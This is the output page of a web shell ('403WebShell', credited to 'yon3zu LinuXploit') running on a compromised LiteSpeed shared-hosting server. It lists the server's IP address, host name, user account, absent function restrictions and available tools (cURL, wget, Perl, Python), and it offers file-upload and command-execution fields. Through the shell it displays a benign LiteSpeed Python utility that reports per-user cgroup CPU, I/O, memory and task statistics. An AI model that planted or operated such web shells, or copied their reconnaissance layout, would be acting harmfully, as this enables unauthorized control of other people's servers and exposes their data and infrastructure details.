Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.119.142.113
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/lsns/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/lsns/bin/lscgstats
#!/usr/bin/python3
import argparse, json, logging, os, re
import common

def validate_environment():
    if not os.path.exists('/sys/fs/cgroup/cgroup.controllers'):
        common.fatal_error("cgroups is not v2 on this machine")
    if os.getuid() != 0:
        common.fatal_error("this program must be run as root")
    common.ls_ok()
    
def init_pgm():
    common.init_logging()
    parser = argparse.ArgumentParser(prog="lscgstats",
                                     description='LiteSpeed cgroups Statistics Program')
    parser.add_argument("uid", type=str, nargs='*', default=None, help="uid or user name for -user commands")
    parser.add_argument('-l', '--log', type=int, help='set logging level, 10=Debug, 20=Info, 30=Warning, 40=Error.  Default is Info')
    parser.add_argument('-q', '--quiet', action='store_true', help='turns off all logging and only outputs what is requested.')
    args = parser.parse_args()
    if not args.quiet or args.log != None:
        if args.log != None:
            logging.getLogger().setLevel(args.log)
        else:
            logging.getLogger().setLevel(logging.INFO)
        logging.debug("Entering lscgstats")

    validate_environment()
    if args.uid == None or len(args.uid) == 0:
        args.uid = slice_of()
    users = common.get_users(args.uid, True)
    return users

def read_stat(file, pos):
    try:
        f = open(file, 'r')
    except Exception as err:
        common.fatal_error('Error opening %s: %s' % (file, err))
    line = f.readline()
    pieces = line.split(' ')
    f.close()
    return pieces[pos]

def read_val(file):
    try:
        f = open(file, 'r')
    except Exception as err:
        common.fatal_error('Error opening %s: %s' % (file, err))
    line = f.readline()
    f.close()
    return line.rstrip()

def read_param_val(file, param):
    try:
        f = open(file, 'r')
    except Exception as err:
        common.fatal_error('Error opening %s: %s' % (file, err))
    for line in f:
        pieces = line.split(' ')
        if pieces[0] == param:
            f.close()
            return pieces[1].rstrip()
    f.close()
    common.fatal_error('Error %s not found in %s' % (param, file))

def user_to_file(user):
    return 'user-%s.slice' % user.pw_uid

def user_to_filename(user):
    if user == None:
        return '/sys/fs/cgroup/user.slice'
    return '/sys/fs/cgroup/user.slice/%s' % user_to_file(user)

def slice_of():
    names = os.listdir('/sys/fs/cgroup/user.slice')
    min_uid = common.get_min_uid()
    uids = []
    for name in names:
        if name.startswith('user-'):
            pos = name.find('.')
            if pos == -1:
                logging.debug('%s has the right starts with but no dot' % name)
                continue
            uid = name[5:pos]
        else:
            continue
        if int(uid) < min_uid:
            logging.debug('Skip uid %d, too low (%d)' % (int(uid), min_uid))
            continue
        logging.debug('Adding uid: %s' % uid)
        uids.append(uid)
    return uids

def scrape_cpu(user):
	return read_param_val(user_to_filename(user) + "/cpu.stat", 'usage_usec')

def scrape_io(user, block_devices):
    file = user_to_filename(user) + "/io.stat"
    try:
        f = open(file, 'r')
    except Exception as err:
        logging.debug('Error opening %s: %s' % (file, err))
        return '0', '0'
    bytes = 0
    ios = 0;
    for line in f:
        parm_vals = line.split(' ')
        maj_min = parm_vals[0].split(':')
        if int(maj_min[0]) in block_devices and int(maj_min[1]) in block_devices[int(maj_min[0])]:
            for parm_val in parm_vals:
                pieces = parm_val.split('=')
                if len(pieces) == 2:
                    if pieces[0] == 'rbytes' or pieces[0] == 'wbytes':
                        bytes = bytes + int(pieces[1])
                    elif pieces[0] == 'rios' or pieces[0] == 'wios':
                        ios = ios + int(pieces[1])
        else:
            logging.debug('Skip device: %s for io test for major/minor not usable' % parm_vals[0])
    f.close()
    return str(bytes), str(ios)

def scrape_mem(user):
    return read_val(user_to_filename(user) + "/memory.current")

def scrape_tasks(user):
    return read_val(user_to_filename(user) + "/pids.current")

def list_user(user, dict, block_devices):
    subdict = {}
    if user == None:
        subdict['name'] = '.'
    else:
        subdict['name'] = user.pw_name
    subdict['cpu'] = scrape_cpu(user)
    subdict['io'], subdict['iops'] = scrape_io(user, block_devices)
    subdict['mem'] = scrape_mem(user)
    subdict['tasks'] = scrape_tasks(user)
    if user == None:
        logging.debug("uid[.]: " + str(subdict))
        dict['.'] = subdict
    else:
        logging.debug("uid[" + str(user.pw_uid) + ']: ' + str(subdict))
        dict[user.pw_uid] = subdict
    
def command_list(users):
    dict = {}
    block_devices = common.get_devices()[1]
    list_user(None, dict, block_devices)
    for user in users:
        list_user(user, dict, block_devices)
    print(json.dumps(dict, indent=4))
    return 0

def do_pgm(users):
    logging.debug("Entering lscgstats")
    ret = command_list(users)
    logging.debug("Exiting lscgstats")
    return ret

def main():
    users = init_pgm()
    return do_pgm(users)
  
if __name__ == "__main__":
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit